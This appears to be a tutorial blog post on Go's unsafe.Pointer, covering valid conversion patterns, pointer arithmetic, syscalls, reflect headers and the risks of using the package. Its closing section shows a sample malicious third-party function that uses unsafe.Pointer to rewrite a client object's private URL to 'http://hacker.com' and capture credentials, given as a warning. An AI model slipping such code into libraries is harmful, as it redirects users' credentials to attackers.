/ #article 

Is unsafe ...unsafe? Pt. 2

In the previous post, I have told about unsafe package motivation and functions. There is one more thing left unexplained

type Pointer

This type represents a pointer to an arbitrary type, which means that unsafe.Pointer can be converted to the pointer value of any type or uintptr and back. You might be wondering: are there any restrictions? No, and yes … you can convert Pointer however you want but you have to deal with consequences. To reduce the number of possible problems you can use certain patterns:

“The following patterns involving Pointer are valid. Code not using these patterns is likely to be invalid today or to become invalid in the future. Even the valid patterns below come with important caveats.”, golang.org

You can also use go vet, but it won’t save you from all kinds of problems. So I recommend you to follow those patterns, as this is the only way to reduce errors: this is the way… Gif

Fast copy

If you have 2 types that have the same memory layout, to avoid memory allocation you can copy the value of variable type T1 to variable type T2 by converting pointer of type *T1 to the pointer of type *T2 using next mechanism:

ptrT1 := &T1{}
ptrT2 = (*T2)(unsafe.Pointer(ptrT1))

But be careful, this conversion comes at a price, now 2 pointers point to the same memory address, so changes made for each pointer will be applied for another pointer as well, check it in the playground

unsafe.Pointer != uintptr

I’ve already mentioned that Pointer can be converted to the uintptr and back, but there are some special conditions for conversing back. unsafe.Pointer is a real pointer, it does not only keeps memory address but the dynamic link to the address meanwhile uintptr is just a number, it’s smaller but small size comes at the price. If you convert unsafe.Pointer to the uintptr there can be no references to the pointed variable and Garbage collector can easily collect that memory before you convert uintptr back to the unsafe.Pointer. There are at least 2 solutions to save you from GC. The first one is complex and really shows what do you have to sacrifice for unsafe package usage. There is a special function, runtime.KeepAlive that protects memory of a passed variable from GC up to the point when this function will be called. It sounds complex and it is even more complex in usage. Check out the example in the playground.

Pointer arithmetic

There is the another way to save your forgotten variable from GC. You can convert unsafe.Pointer to the uintptr in the same expression. Since uintptr is just a number we can do all peculiar arithmetic operations like addition or subtraction. How can we use it? Pointer arithmetic can get us any needed data by knowing the memory layout and doing arithmetic operations. Let’s examine the next example:

x := [4]byte{10, 11, 12, 13}
elPtr := unsafe.Pointer(uintptr(unsafe.Pointer(&x[0])) + 3*unsafe.Sizeof(x[0]))

Having pointer to the first element of the byte array we can get the last one without using indexes. If shifting the pointer by the size of three bytes we can get the last element. Let me visualize:

Pointer arithmetic

Check out the example in the playground

So, doing all the conversions in one expression saves us from GC cleaning. 3Three above-mentioned patterns show how to properly convert unsafe.Pointer to other data types in different cases.

Syscalls

In the package syscall, we have a function syscall.Syscall that receives pointers in uintptr format, we can get uintptr through the unsafe.Pointer. Important note that you have to do the conversion with GC on your mind:

a := &A{1}
b := &A{2}
syscall.Syscall(0, uintptr(unsafe.Pointer(a)), uintptr(unsafe.Pointer(b))) // Right

aPtr := uintptr(unsafe.Pointer(a)
bPtr := uintptr(unsafe.Pointer(b)
syscall.Syscall(0, aPtr, bPtr) // Wrong

Check out the example in the playground

reflect.Value.Pointer and reflect.Value.UnsafeAddr

There are 2 methods in package reflect, Pointer and UnsafeAddr, they return uintptr as a result so we should immediately convert the result to unsafe.Pointer because of our friend - GC:

p1 := (*int)(unsafe.Pointer(reflect.ValueOf(new(int)).Pointer())) // Right

ptr := reflect.ValueOf(new(int)).Pointer() // Wrong
p2 := (*int)(unsafe.Pointer(ptr) // Wrong

Check out the example in the playground

reflect.SliceHeader and reflect.StringHeader

There are 2 types in package reflect, SliceHeader and StringHeader that have field Data uintptr. As you remember uintptr usually goes with unsafe.Pointer, here is the snippet:

var s string
hdr := (*reflect.StringHeader)(unsafe.Pointer(&s))
hdr.Data = uintptr(unsafe.Pointer(p))
hdr.Len = n

Check the example in the playground

There were all possible patterns of unsafe.Pointer usage, all cases that don’t follow those patterns or derive from those patterns are likely invalid. But unsafe package brings problems not only in code but outside of it too. Let’s review a couple of them. Problems

Compatibility

Go has compatibility guideline that guarantees saving compatibility with version updates. In plain words, it guarantees that your code will work after Go 1 version update…but not in case you’ve imported unsafe package. Usage of unsafe might break your code with every release: major, minor, even security patch. So before the import, just try to imagine a situation where your customer asks you why we can’t patch Go version to remove vulnerability or why after update nothing works anymore.

Different behavior

int32 and int64 Do you know all Go data types? Have you heard about int? Why do we have int if we already have int32 and int64? The thing is int is converted to int32 or int64 depending on computer architecture(x32 or x64 respectively). So just remember that unsafe functions results and memory layouts can be different on different architectures, for example:

var s string
unsafe.Sizeof(s) // 8 on x32 and 16 on x64

To be sure run this code in the playground and then try on your own machine, you should get different results if your architecture isn’t x32.

Community activity

I was wondering: if this package is so dangerous, how many daredevils are using it. I have searched that on Github. There were not many mentions comparing to the crypto or math and more than half of them were about tricks and deviations that you can produce using unsafe, not some real usage.

Enthusiasts

There are many people and many ideas, recently I have found this article that shows a new approach to work with int and uses pointer operations, in short, it looks like this:

var foo int
fooslice = (*[1]int)(unsafe.Pointer(&foo))[:]

I won’t provide my opinion for this construction, I will only mention that you should be ready for this kind of constructions once you have imported unsafe.

Community pressure

Recently one incident happened in Rust community. Long story short: one guy, Nikolay Kim, creator of actix project made actix repositories private under massive pressure from the community. Later on returned repos back, promoted one of the contributors to the owner and left. All of that happened because some people thought that the usage of unsafe package was too dangerous to use. I understand that it didn’t happen in Go community and there is no only right opinion about that. The only thing I want is to warn you, if you import unsafe in your code, be ready, community is coming🧨.

One last thing

I personally tried to think about evil possibilities that unsafe provides, here is an example of a stealing with a help of unsafe. Imagine you import some third-party package that does some useful operation, like wrapping your DB client object and logger into one entity to make logging of all operation easier or, like in my example, some function that returns spiritual animal of your object…

package main

import (
	"fmt"
	"third-party/safelib"
)

func main() {
	a := safelib.NewA("https://google.com", "1234") // Url and password
	fmt.Println("My spiritual animal is: ", safelib.DoSomeHipsterMagic(a))
	a.Show()
}

Inside of that function we assert interface{} to some known type and fast copy to some Malicious type that has methods to get and set private fields like url and password. So this package can pull out all interesting data or even substitute the url so next time you try to connect to your DB someone will grab your credentials.

func DoSomeHipsterMagic(any interface{}) string {
	if a, ok := any.(*A); ok {
		mal := (*Malicious)(unsafe.Pointer(a))
		mal.setURL("http://hacker.com")
	}

	return "Cool green dragon, arrh 🐉"
}

Check out working example in playground

That was my review of unsafe package.

TL;DR

All technologies come at a certain price, but unsafe is especially “expensive” so my adviсe is to think twice before using it.